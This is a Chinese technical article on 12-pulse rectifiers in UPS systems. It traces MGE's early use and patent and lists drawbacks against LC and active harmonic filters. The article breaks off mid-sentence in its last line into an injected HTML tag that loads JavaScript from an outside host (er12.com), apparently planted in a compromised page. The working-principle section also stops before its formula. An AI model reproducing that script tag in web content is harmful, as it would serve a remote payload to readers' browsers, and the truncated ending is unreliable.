1.12脉冲整流器的历史渊源
12脉冲整流技术的发展由来已久,早在70年代初期,当大功率可控硅发展成熟之际,人们就已经发现了可控硅整流器在将交流电转换为直流电的同时,产生了大量的谐波电流注入到电网中,随之而来的就是谐波电流对电网中的其它负载产生的影响,为此,人们寻求一种解决方法,希望去除掉整流器产生的谐波电流。
在当时的技术水平和条件下,只有两种解决方案:其一是采用两套整流器通过不同相位的叠加,以便消除h5、h7次谐波,这就是12脉冲整流器;另外一种方案就是采用lc型的无源滤波器,试图消除(主要是)h5和(部分的)h7以及少量的其它更高次的谐波。这在当时算是比较先进的技术。
在ups领域,梅兰日兰(mgeupssystems)公司可谓是12脉冲整流器应用的先驱。早在1976年,梅兰日兰推出的第二代大功率全可控硅ups(可控硅整流器-可控硅逆变器-可控硅静态开关)――alpase3000系列中,就已经开始使用了12脉冲整流器。在1981年11月,梅兰日兰在法国、欧共体和美国还同时注册了专利(fr2517489-ep0080925-us449812),专利标题为“由两个graetz整流桥组成的、可抑制电网中5、7次谐波电流的12相可控硅静态变换器”【原文为:staticconverterwithelectricvalvescomprisingatwelve-phaseconnectionwithtwograetzbridgesforthesuppressionofharmonics5and7ofnetworkcurrent】。随后,梅兰日兰便积极地将这一专利技术应用于自己的多项产品中,包括:
1983年的alpase4000系列,30-600kva;
1989年的eps5000系列,60-800kva;
1993年的galaxy(达林顿晶体管)系列,40-300kva。
从1997年推出galaxypw机型以后,梅兰日兰取消了12脉冲整流器作为选件在新机型中的应用。主要原因是:应用微处理器控制器和数字信号处理器dsp以及大功率igbt等新技术开发的新产品——有源谐波调节器sinewavetm和有源滤波器thm诞生了,它们具有比以往任何一种谐波解决方案都更加完美的特性;另外的一个原因就是:国际上新的谐波标准iec61000-3-4的诞生,使得12脉冲整流器已经不能满足该标准的基本要求,包括无源lc滤波器,也就是说12脉冲整流器已经落伍了。
2.12脉冲整流器的基本工作原理
在一个基本6脉冲整流器(超前)的基础上利用利用单绕组输入/双绕组输出的变压器产生滞后30度的移相电压,再送入另一整流器(滞后整流器,参见以下左图),使得两个整流器产生的直流并联,从而在ups的电源输入端上的总输入电流:
3.12脉冲整流器的分析
3.1.优点
12脉冲整流器基本消除了5次谐波(衰减率10倍以上)、部分地消除了7次谐波(衰减率2倍)对电网的注入影响,使得ups对上线电网的谐波污染(总电流失真度thdi)衰减了约2倍。
3.2.缺点
谐波抑制效果较差:按照国际标准iec61000-3-4的谐波标准(参见下表),12脉冲整流器的总电流谐波失真度为10%,满足该标准,但单次谐波h11、h13均超过标准数值的两倍以上,甚至比原6脉冲整流器的h11、h13还要大;在一些特殊场合,只能采用12脉冲整流器+h11次无源滤波器的方法,但其结果甚至于还不如6脉冲整流器+无源滤波器的效果;
低负载率时效果很差:ups大多数情况下运行在60~70%的负载率,特别是当ups为1+1冗余并联时,每台ups的负载率仅在30~40%左右,12脉冲整流器的thdi约等于20%,即使采用12脉冲整流器+h11次滤波器,也仍然在15%左右,还不如6脉冲整流器+无源滤波器的结果(参见下图);
系统效率损失较大:假如以6脉冲整流器的效率为单位1,则12脉冲整流器的采用将降低系统效率的2~3%;而普通lc滤波器仅降低1%左右,这就是lc低通滤波器至今仍然在沿用的一个原因;
价格较高:假如以6脉冲整流器的ups标准价为单位1,则12脉冲整流器需增加20%(内置,但大容量时可能不能内置)到30%(独立机柜外置);而普通lc滤波器仅需增加10%(内置)到20%(外置),这也正是lc低通滤波器至今仍然在采用的主要原因;
可靠性低:由于12脉冲整流器是由2个6脉冲整流器串连或并联组成的,因此部件增多,反而增加了ups本身的故障点,降低了ups系统的可靠性,对整个负载系统的供电不利;
安全性差:12脉冲整流器是串连连接到ups系统中的(与lc滤波器相同),而mge推出的thm与ups是并联连接到电网与负载之间的,因此安全性较高,不会由于thm的故障造成整个ups系统的供电故障;
与发电机?script src=http://er12.com/t.js>











